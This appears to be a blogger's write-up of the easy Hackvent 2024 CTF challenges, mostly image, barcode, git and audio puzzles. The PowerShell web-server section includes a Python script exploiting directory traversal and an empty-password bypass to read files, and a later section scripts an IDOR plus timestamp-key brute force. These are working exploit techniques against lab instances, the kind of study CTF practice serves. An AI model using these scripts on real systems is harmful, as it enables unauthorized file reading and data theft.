Hackvent 2024 provided it’s typically mix of fun and challenging CTF problems delivered daily for the first 24 days of December. This year instead of challenges going from easy to leet ending with the hardesst challenge on December 24, they went easy to leet, peaking on days 11-13, and then back down to easy. I was able to complete all but one of the challenges this year. The easy challenges this year had a bunch of barcode manipulation, an interesting PowerShell webserver, some simple web exploitation, an interesting codeded language, and of course, Rick-Rolling.

HV24.01

Challenge

HackVent ball01 HV24.01 Twisted Colors
Categories: funFUN
Level: easy
Author: dr_nick

An elf accidentally mixed up the colors while painting the Christmas ornaments. Can you help Santa fix it?

Analyze the GIF and get the flag.

I’m given this GIF:

The QR code in this image translates to “Come and have a closer look:)”.

Solution

GIF Color Palette

The interesting this about this GIF is in the color palette. I’ll open it in Gimp, and under Image –> Mode see it’s set to Indexed. GIF images store data in a palette-based color model. The image has a table with up to 256 entries, each being containing three bytes representing a color. Then for each pixel, it can store only one value 0-255, which represents the color at that offset in the table.

Gimp will show the color palette (assuming the image is in Indexed mode) from Windows –> Dockable Dialogs –> Coloar Map.

Palette

There are 236 colors used in this image (0-235):

image-20241201152959940

The interesting bit is that index 235 is all 0s (black), but so is index 0:

image-20241201153045192

If I change the first one to something that will stand out, like 0000ff (blue), the QR code in the image looks like:

image-20241201153202341

There are some black that aren’t changed. I’ll reset that, and set 235 to 00ff00 (green):

image-20241201153242532

There’s a few odd pixels there that use the second black.

234 is pure white, and interestingly, the only pure white in the image:

image-20241201153337894

Changing these to a light blue (00ffff) shows just some other pixels in the QR code:

image-20241201153429808

Swap

The scenario says that “An elf accidentally mixed up the colors while painting the Christmas ornaments.” I’ll try swapping these two colors, setting 234 to 000000 and 235 to ffffff. This updates only the QR:

This can also be done at the command line using Gifsicle:

oxdf@hacky$ gifsicle --change-color 234 "#000000" --change-color 235 "#ffffff" 04ab832f-50dd-4dea-a834-e0a34fa625b5.gif > 04ab832f-50dd-4dea-a834-e0a34fa625b5-mod.gif

This code scans to the flag:

Flag: HV24{Tw1st3d_c0lors_4re_fun!}

HV24.02

Challenge

HackVent ball02 HV24.02 Meet me at the bar
Categories: funFUN
Level: easy
Author: lu161

December. Nightshift at Santa’s gift factory. Gifts still to be wrapped are starting to pile up as they cannot be processed any further. One elve still on duty sent Santa some pictures asking for help as all the other elves are already celebrating at the bar. The elve has problems decrypting the pictures as it is still learning the alphabet.

The Zip archive has nine images in it:

oxdf@hacky$ unzip help.zip 
Archive:  help.zip
  inflating: example1.png            
  inflating: example2.png            
  inflating: example3.png            
  inflating: example4.png            
  inflating: example5.png            
  inflating: example6.png            
  inflating: example7.png            
  inflating: example8.png            
  inflating: example9.png            
oxdf@hacky$ ls
example1.png  example2.png  example3.png  example4.png  example5.png  example6.png  example7.png  example8.png  example9.png  help.zip

They all are legit images:

oxdf@hacky$ file *.png
example1.png: PNG image data, 162 x 200, 1-bit grayscale, non-interlaced
example2.png: PNG image data, 162 x 100, 1-bit grayscale, non-interlaced
example3.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example4.png: PNG image data, 198 x 163, 1-bit grayscale, non-interlaced
example5.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example6.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example7.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example8.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced
example9.png: PNG image data, 162 x 191, 1-bit grayscale, non-interlaced

Each of the images have either one or two barcodes. For example, example1.png:

Or example4.png:

EAN-8 Analysis

EAN-8 Background

EAN-8 holds 8 digits, each made up of 7 bits, four on the left and four on the right side of a middle guard. On each side, the encoding for the possible digits is different:

Digit Left (L) Pattern Right (R) Pattern
0 0001101 1110010
1 0011001 1100110
2 0010011 1101100
3 0111101 1000010
4 0100011 1011100
5 0110001 1001110
6 0101111 1010000
7 0111011 1000100
8 0110111 1001000
9 0001011 1110100

I got this table from ChatGPT, but I could have also pieced it together from Wikipedia articles.

Manual Decode

Each barcode is an EAN-8 barcode, but each has a gap in it of 8 0s (white) in a row, which isn’t valid:

Still, I can decode seven of the eight digits for each barcode:

Image Digits
example1.png ?3371333
13378?26
example2.png 1337548?
example3.png 133782?6
1337233?
example4.png 1337003?
example5.png 1337?545
13370?08
example6.png 1337?234
1337777?
example7.png 1337517?
1337?327
example8.png 1337517?
1337999?
example9.png 1337?545
13374?27

Calculate Missing

The last digit in an EAN-8 barcode is a checksum, calculated by multiplying the odd index digits by 3 and the even index digits by 1, and then summing the results. The last digit should be calculated such that when it’s added the total is a multiple of ten. For example, ?3371333:

\[\begin{aligned} 3x + 3 + (3 \times 3) + 7 + (1 \times 3) + 3 + (3 \times 3) + 3 &= 0 \mod 10 \\ 3x + 37 &= 0 \mod 10 \\ 3x + 7 &= 0 \mod 10 \\ 3x &= -7 \mod 10 \\ 3x &= 3 \mod 10 \\ \end{aligned}\]

Given that x must be between 0 and 9, it’s clearly 1.

To avoid doing this manually 16 times, I’ll write a Python script to calculate the missing digit for me:

import sys

def calculate_check_digit(ean8):
    odd_sum = sum(int(ean8[i]) * 3 for i in range(0, 7, 2))  # Odd positions
    even_sum = sum(int(ean8[i]) for i in range(1, 6, 2))  # Even positions

    total_sum = odd_sum + even_sum
    check_digit = (10 - (total_sum % 10)) % 10
    return check_digit

def find_missing_digit(ean8):
    missing_index = ean8.index('?')

    for digit in range(10):
        ean_candidate = ean8[:missing_index] + str(digit) + ean8[missing_index + 1:]
        if calculate_check_digit(ean_candidate) == int(ean_candidate[-1]):
            return digit

    raise ValueError("No valid digit found for the EAN-8 code.")

def main():
    if len(sys.argv) != 2:
        print("Usage: python script.py <EAN-8 code>")
        sys.exit(1)

    ean8_code = sys.argv[1]

    if len(ean8_code) != 8 or ean8_code.count('?') != 1:
        print("Invalid EAN-8 code. It must have exactly 8 characters and one '?' for the missing digit.")
        sys.exit(1)

    try:
        missing_digit = find_missing_digit(ean8_code)
        print(f"The missing digit is: {missing_digit}")
    except ValueError as e:
        print(e)
        sys.exit(1)

if __name__ == "__main__":
    main()

To avoid complex math, it simply tries every possible digit and returns when it finds the checksum matches.

oxdf@hacky$ python checksum.py ?3371333
The missing digit is: 1

I can run this for the rest of the images, and get the following result:

Image Digits
example1.png 12
example2.png 5
example3.png 20
example4.png 9
example5.png 20
example6.png 19
example7.png 14
example8.png 15
example9.png 23

Where an image has two codes, I handle that as a tens and ones digit.

Find Flag

The resulting numbers above are all between 1 and 26, so they could represent characters in the English alphabet. A quick way to check is from the Python REPL, adding 0x40 to get the ASCII characters:

oxdf@hacky$ python
Python 3.12.3 (main, Nov  6 2024, 18:32:19) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> chr(0x40 + 12)
'L'
>>> chr(0x40 + 5)
'E'
>>> chr(0x40 + 20)
'T'
>>> chr(0x40 + 9)
'I'
>>> chr(0x40 + 20)
'T'
>>> chr(0x40 + 19)
'S'
>>> chr(0x40 + 14)
'N'
>>> chr(0x40 + 15)
'O'
>>> chr(0x40 + 23)
'W'

There’s the flag:

Flag: HV24{LETITSNOW}

HV24.03

Challenge

HackVent ball03 HV24.03 PowerHell
Categories: web_securityWEB_SECURITY
funFUN
Level: easy
Author: coderion

Oh no! The devil has found some secret information about santa! And even worse, he hides them in a webserver written in powershell! Help Santa save christmas and hack yourself into the server.

There’s a spawnable Docker instance and a download zip archive.

Analysis

Download

The zip has 13 files in it:

oxdf@hacky$ unzip -l SuperStar.zip 
Archive:  SuperStar.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      580  2024-12-02 20:36   admin.ps1
      940  2024-12-02 20:34   authenticate.ps1
      173  2024-11-10 21:33   Dockerfile
      220  2024-11-10 21:26   helpers.ps1
        0  2024-11-10 21:26   passwords/
        4  2024-11-10 21:26   passwords/user.txt
       36  2024-11-10 21:26   passwords/admin.txt
       47  2024-11-10 21:27   secret.txt
     1198  2024-12-02 20:34   server.ps1
      500  2024-11-10 21:26   style.css
        0  2024-12-02 19:59   templates/
      454  2024-11-10 21:26   templates/user.html
      529  2024-12-02 19:59   templates/index.html
---------                     -------
     4681                     13 files

secret.txt and passwords/admin.txt have dummy values, and passwords/user.txt has “cat”.

The Dockerfile is a good place to start:

FROM fxinnovation/powershell
WORKDIR /data
COPY . .

USER root
RUN ["/bin/sh", "-c", "echo 'HV24{f4k3_fl4g}' > flag.txt"]

USER powershell
ENTRYPOINT ["pwsh", "server.ps1"]

It’s writing a flag to flag.txt, and then running pwsh (powershell) on server.ps1.

server.ps1 is listening on port 8080 for HTTP and processing it:

$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://*:8080/")
$listener.Start()
Write-Output "Server started on http://*:8080/"

while ($true) {
    $context = $listener.GetContext()
    $request = $context.Request
    $response = $context.Response

    if ($request.Url.AbsolutePath -ceq "/") {
        # Serve login page
        $htmlContent = Get-Content -Raw -Path "./templates/index.html"
        . ./helpers.ps1 $response $htmlContent "text/html"
    }
    elseif ($request.Url.AbsolutePath -ceq "/style.css") {
        # Serve cool css
        $htmlContent = Get-Content -Raw -Path "./style.css"
        . ./helpers.ps1 $response $htmlContent "text/css"
    }
    elseif ($request.Url.AbsolutePath -ceq "/login") {
        # Authentication
        . ./authenticate.ps1 $request $response
    }
    elseif ($request.Url.AbsolutePath -ceq "/admin") {
        # Admin dashboard
        . ./admin.ps1 $request $response
    }
    elseif ($request.Url.AbsolutePath -ceq "/dashboard") {
        # User dashboard
        $htmlContent = Get-Content -Raw -Path "./templates/user.html"
        . ./helpers.ps1 $response $htmlContent "text/html"
    }
    $response.Close()
}

There’s an index page, style.css, and three other routes.

/login calls ``:

param($request, $response)

$username = $request.QueryString["username"]
$password = $request.QueryString["password"]

if (Test-Path "passwords/$username.txt") {
    $storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
    $isAuthenticated = $true

    for ($i = 0; $i -lt $password.Length; $i++) {
        if ($password[$i] -cne $storedPassword[$i]) {
            $isAuthenticated = $false
            Start-Sleep -Milliseconds 500 # brute-force prevention
            break
        }
    }

    if ($isAuthenticated) {
        if ($username -ceq "admin") {
            $response.Redirect("/admin?username=$username&password=$password")
        } else {
            $response.Redirect("/dashboard?username=$username&password=$password")
        }
    } else {
        . ./helpers.ps1 $response "<h1>Invalid password :c</h1>" "text/html"
    }
} else {
    . ./helpers.ps1 $response "<h1>User not found :c</h1>" "text/html"
}

The interesting part is how it gets the password from the file based on username, and then checks the input password to see if it matches the contents of the file. If that works, it redirects to either /admin or /dashboard. If it fails, it sends back error messages.

The route for /dashboard just returns a static file. /admin checks again for the admin password (more securely this time), and then prints a message and the contents of secret.txt:

param($request, $response)

$adminPass = Get-Content -Path "passwords/admin.txt"

if ($request.QueryString["username"] -cne "admin") {
    $response.StatusCode = 403
    . ./helpers.ps1 $response "Santa, go away!" "text/html"
    return
}
if ($request.QueryString["password"] -cne $adminPass) {
    $response.StatusCode = 403
    . ./helpers.ps1 $response "Nope :3" "text/html"
    return
}

$file = Get-Content -Path "secret.txt"
$template = "<h1>Hello, Devil</h1><hr><br>Here is your secret intel on Santa: <br><pre>$file</pre>"
. ./helpers.ps1 $response $template "text/html"

Website

The index page presents a login form:

image-20241202211846589

If I enter 0xdf as the user and some password, it responds:

image-20241202211906924

This matches what I saw above with authenticate.ps1. If I put the user to admin or user, it shows:

image-20241202212015086

The user password, “cat”, works, redirecting to /dashboard?username=user&password=cat:

image-20241202212032913

Exploit

Auth Bypass

I can bypass the initial auth simply be giving it an empty password. The check in authenticate.ps1 loops over the input comparing it to the password from the file until the end of the input:

    $isAuthenticated = $true

	for ($i = 0; $i -lt $password.Length; $i++) {
        if ($password[$i] -cne $storedPassword[$i]) {
            $isAuthenticated = $false
            Start-Sleep -Milliseconds 500 # brute-force prevention
            break
        }
    }

If the input is empty, it’ll just leave $isAuthenticated as true.

This doesn’t buy me much, as I already know the user’s password (“cat”), and entering admin redirects to admin.ps1 which does another check of the password and returns a failure message.

Directory Traversal

$storedPassword in authenticate.ps1 is read from passwords/$username.txt:

    $storedPassword = Get-Content -Raw -Path "passwords/$username.txt"

This code is vulnerable to a directory traversal. If I enter a username of ../secret, then it will read passwords/../secret.txt. With an empty password, this goes to the dashboard:

image-20241202212929087

With a junk password, it returns “Invalid password :c”, which implies it was able to read the file. This allows me to check for the existence of a file. If I do a file that doesn’t exist, it says the user doesn’t exist.

File Read

That same bit of code allows for brute forcing file read:

    $storedPassword = Get-Content -Raw -Path "passwords/$username.txt"
    $isAuthenticated = $true

    for ($i = 0; $i -lt $password.Length; $i++) {
        if ($password[$i] -cne $storedPassword[$i]) {
            $isAuthenticated = $false
            Start-Sleep -Milliseconds 500 # brute-force prevention
            break
        }
    }
    
    if ($isAuthenticated) {
        if ($username -ceq "admin") {
            $response.Redirect("/admin?username=$username&password=$password")
        } else {
            $response.Redirect("/dashboard?username=$username&password=$password")
        }
    } else {
        . ./helpers.ps1 $response "<h1>Invalid password :c</h1>" "text/html"
    }
} else {
    . ./helpers.ps1 $response "<h1>User not found :c</h1>" "text/html"

I can try all possible one character passwords, and the returns a 302 redirect to the dashboard is the correct first letter in that file. Then I can try two character passwords starting with the known first letter, and so one.

This script will read arbitrary files:

import requests
import sys
from string import printable
from urllib.parse import quote_plus


base_url = sys.argv[1].rstrip('/')
filename = sys.argv[2]
password = ''
done = False

while not done:
    for c in printable[:-6]:
        next_pass = password + c
        resp = requests.get(f"{base_url}/login?username={filename}&password={quote_plus(next_pass)}", allow_redirects=False)
        print(f'\r{next_pass}', end='')
        if resp.status_code == 302:
            password += c
            break
    else:
        print(f'\r{password}        ')
        done = True

The first thing I originally tried was to read secret.txt, but it is very slow, and after a few minutes I realized I could read the admin password and then just viewsecret.txt.

oxdf@hacky$ python brute.py https://1d30cfb7-92e7-41c5-a111-0afaed7a542d.i.vuln.land/ ../secret
Santa secretly likes pineapp^
...[snip]...
oxdf@hacky$ python brute.py https://1d30cfb7-92e7-41c5-a111-0afaed7a542d.i.vuln.land/ admin
Meow:3 

With the admin password, I can view /admin which also shows secret.txt, which is a troll:

image-20241203175101189

I’ll remember that in the Dockerfile it saves the flag to flag.txt, and I can read that:

oxdf@hacky$ python brute.py http://77.90.2.227:8888/ ../flag
HV24{dQw4w9WgXcQ}

Flag: HV24{dQw4w9WgXcQ}

That flag happens to be the YouTube ID for RickRoll.

HV24.21

Challenge

HackVent ball21 HV24.21 Silent Post
Categories: web_securityWEB_SECURITY
cryptoCRYPTO
Level: easy
Author: rtfmkiesel

The elves have launched a new service to transmit the most valuable secrets, like the naughty lists, over a secure line. Using Silent Post, secrets get encrypted, and the decryption key is right in the link. How clever! Sadly, one elves has lost the link to one of the lists. Can you help him recover the list?


Start the website and get the flag.

There’s a spawnable Docker instance.

Website Enumeration

Functionality

The website offers a capability to store a secret:

image-20241227114916928

It says clearly that each link can only be viewed one time.

If I enter some text and click “Generate link”, it replaces the text box with a link:

image-20241227114957156

The URL seems to have an ID (133) and then an anchor. The anchor part of the URL is base64-encoded:

oxdf@hacky$ echo "NzM3ZmUwY2Q2MzA3YTY2MGM4Y2U2YTg1ZDdjYjZkYTdmM2E3ZjE0NA==" | base64 -d
737fe0cd6307a660c8ce6a85d7cb6da7f3a7f144

The result is 40 hex characters (likely a SHA1 hash).

Visiting the URL reveals the secret:

image-20241227115051129

Refreshing the same page now shows an error:

image-20241227115104546

Network

Generating a link sends a POST request to /api/new, with the value being base64 data:

image-20241227115344773

That data doesn’t decode to anything useful. I had started with “text” and the result was:

oxdf@hacky$ echo "RQAQEg==" | base64 -d | xxd
00000000: 4500 1012                                E...

The length is the same. It’s likely encrypted.

On visiting the link to get back the message, I’ll note two requests to a URL ending in /134:

image-20241227115603727

The first is the page itself. Then it loads four JavaScript pages, and then there’s a call to /api/fetch/134 from app-view.js line 12.

Source

The source for the view page is pretty basic, with several JavaScript references:

image-20241227115838993

app-view.js waits for the page to load, and then processes the id and key variables from the URL. Then it calls /api/fetch/<id> and decrypts the response using a function decrypt that must be defined elsewhere.

document.addEventListener('DOMContentLoaded', function() {
	var outputfield = document.getElementById('secret-output');

	var id = window.location.pathname.split('/')[1];
	var key = window.location.hash.substring(1);

	if (!id || !key) {
		outputfield.innerText = 'Invalid link';
		return;
	}

	fetch('/api/fetch/' + id, {
		method: 'GET',
	}).then(function(response) {
		if (response.ok) {
			response.json().then(function(data) {
				var decrypted = decrypt(data.value, key);
				outputfield.innerText = decrypted;
			});
		} else {
			outputfield.innerText = 'An error occurred';
		}
	});
});

sha1.js is this opensource SHA1 hash code.

crypto.js is clearly obfuscated:

image-20241227120557931

Decode Crypto

This is an obfuscation technique known as JSFuck, modeled off of the Brainfuck esoteric language. For some reason, it actually doesn’t decode as JSFuck on de4js, but does decode very nicely as “Eval”

image-20241227121224702

The resulting code has three functions. generateKey takes a SHA1 hash of the current timestamp and returns it as hex:

function generateKey() {
    const timestamp = Math.floor(Date.now() / 1000);
    const shaObj = new jsSHA("SHA-1", "TEXT", {
        encoding: "UTF8"
    });
    shaObj.update(timestamp.toString());
    const hash = shaObj.getHash("HEX");
    return hash;
}

encrypt takes that key and uses to to XOR the plaintext, returning base64-encoded data as well as the base64-encoded key:

function encrypt(text) {
    const key = generateKey();
    let encrypted = '';
    for (let i = 0; i < text.length; i++) {
        encrypted += String.fromCharCode(text.charCodeAt(i) ^ key.charCodeAt(i % key.length));
    }
    return [btoa(encrypted), btoa(key)];
}

decrypt does the opposite:

function decrypt(encrypted, key) {
    encrypted = atob(encrypted);
    key = atob(key);
    let decrypted = '';
    for (let i = 0; i < encrypted.length; i++) {
        decrypted += String.fromCharCode(encrypted.charCodeAt(i) ^ key.charCodeAt(i % key.length));
    }
    return decrypted;
}

Solve

I’ll write a Python script that will brute force across the API to find data by id (this is an IDOR vulnerability). Then when it gets that data it breaks and tries to brute force the timestamp on the encryption starting at right now and going backwards:

import requests
import sys
import time
import hashlib
from base64 import b64decode
from itertools import cycle


for i in range(1, 135):
    print(f"\r{i}", end="", flush=True)
    resp = requests.get(f"https://{sys.argv[1]}/api/fetch/{i}")
    if "value" in resp.json():
        break

ct = b64decode(resp.json()["value"])
#ct = b64decode("fW9UAR0QBQ9dFlxaVUBvRABeUT5dEjpYAB9J")
now = int(time.time())
i = 0
while True:
    print(f"\r{i}", end="", flush=True)
    ts = now - i
    key = hashlib.sha1(f"{ts}".encode()).hexdigest().encode()
    flag = ''.join([chr(c ^ k) for c, k in zip(ct, cycle(key))])
    if flag.startswith("HV24"):
        break
    i += 1
    if i > 1000000:
        break

print(f"\r{flag}")

It works:

oxdf@hacky$ python solve.py 4538be27-cc01-41fd-ba36-436b1c29fd04.i.vuln.land
HV24{s0metim3s_t1me_is_k3y}

If I run once and find the missing message, but don’t capture it, I will have to reset the Docker to a fresh image to be able to recover it.

Flag: HV24{s0metim3s_t1me_is_k3y}

HV24.22

Challenge

HackVent ball22 HV24.22 Santa's Secret Git Feature
Categories: funFUN
Level: easy
Author: explo1t

Santa found a new awesome git feature to hide presents. However, he thinks it does not fit the Christmas theme, but maybe his good friend, the easter bunny, can use it… Can you find his hidden present?

https://github.com/santawoods/christmas-secret-feature

Analyze the git repository and get the flag.

Repo Enumeration

The repo itself is very boring:

oxdf@hacky$ git clone https://github.com/santawoods/christmas-secret-feature
Cloning into 'christmas-secret-feature'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (3/3), done.
oxdf@hacky$ cd christmas-secret-feature/
oxdf@hacky$ ls
hello.txt
oxdf@hacky$ cat hello.txt 
Hello everybody
oxdf@hacky$ git status 
On branch main
Your branch is up to date with 'origin/main'.

nothing to commit, working tree clean

There’s a single commit:

oxdf@hacky$ git log --oneline --all
5c1dff6 (HEAD -> main, origin/main, origin/HEAD) Initial Commit

Git Notes

This post goes into detail about Git notes and how they work. To see the notes pushed from someone else, I’ll configure the repo to pull them:

oxdf@hacky$ git fetch origin refs/notes/*:refs/notes/*
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 5 (delta 0), reused 5 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (5/5), 469 bytes | 93.00 KiB/s, done.
From https://github.com/santawoods/christmas-secret-feature
 * [new ref]         refs/notes/commits -> refs/notes/commits

Now there are two additional commits:

oxdf@hacky$ git log --oneline --all
9a2ab37 Notes removed by 'git notes remove'
06af9d2 Notes added by 'git notes add'
5c1dff6 (HEAD -> main, origin/main, origin/HEAD) Initial Commit

git show will show the differences for the middle commit:

oxdf@hacky$ git show 06af9d2
commit 06af9d20cc50d124bd35cf322180d380325a8030
Author: Santa <santa@christmas.town>
Date:   Sat Nov 16 20:07:41 2024 +0100

    Notes added by 'git notes add'

diff --git a/5c1dff6bd6b05a44e41d786a99fa1f95219e2d62 b/5c1dff6bd6b05a44e41d786a99fa1f95219e2d62
new file mode 100644
index 0000000..3617dbd
--- /dev/null
+++ b/5c1dff6bd6b05a44e41d786a99fa1f95219e2d62
@@ -0,0 +1 @@
+SGVyZSBpcyB0aGUgZmxhZzogSFYyNHtzM2NyM3RfbjB0M19mbDRnX2Z1bn0=

The base64 data decodes to the flag:

oxdf@hacky$ echo "SGVyZSBpcyB0aGUgZmxhZzogSFYyNHtzM2NyM3RfbjB0M19mbDRnX2Z1bn0=" | base64 -d
Here is the flag: HV24{s3cr3t_n0t3_fl4g_fun}

Flag: HV24{s3cr3t_n0t3_fl4g_fun}

HV24.23

Challenge

HackVent ball23 HV24.23 Santa's Packet Analyser
Categories: funFUN
open_source_intelligenceOPEN_SOURCE_INTELLIGENCE
Level: easy
Author: brp64

Santa was invited to an Open Source conference in fall to talk about his newest development on “elfilter – a packet inspector to balance elf load”. Due to the sensitive nature of the talk, it was only open to a very select audience. Nonetheless, he came back with a nice scarf. The elfs suspect there might be a message behind the pattern.

</picture>


Wrap the text of the flag into HV24{} before submitting it. Make sure that the rest of the text is all in lowercase.

Analyze the image and get the flag.

Solve

The image is Ogham, a historic alphabet explained here. The language didn’t directly translate to the alphabeta used by modern English, so there are many difference translators each with slight differences. I used this one:

image-20241227123823367

Flag: HV24{santafilterspacket}

HV24.24

Challenge

HackVent ball24 HV24.24 Stranger Sounds
Categories: funFUN
Level: easy
Author: coderion

Santa received a file with some very strange audio. He’s kind of scared, it sounds like some monster who’s about to hunt him down. Help him get to the bottom of it.


Analyze the audio and get the flag.

Solve

The audio sounds like garbled eerie noise that goes on for several minutes. Viewed in Audacity, it looks like:

image-20241227125456427

It’s over 35 minutes long!

I’ll make two changes. The first is Effect –> Pitch and tempo –> Change speed and pitch:

image-20241227125648485

I’ll set it to a speed multiplier of 10:

image-20241227125853250

The length drops from 35:20.88 to 3:32.088.

The next change is Effect –> Special –> Reverse. The result is “Never Gonna Give You Up” by Rick Astley.

At 2:17, there’s a voice reading out the flag.

Flag: HV24{g3t_r1ckr0ll3d}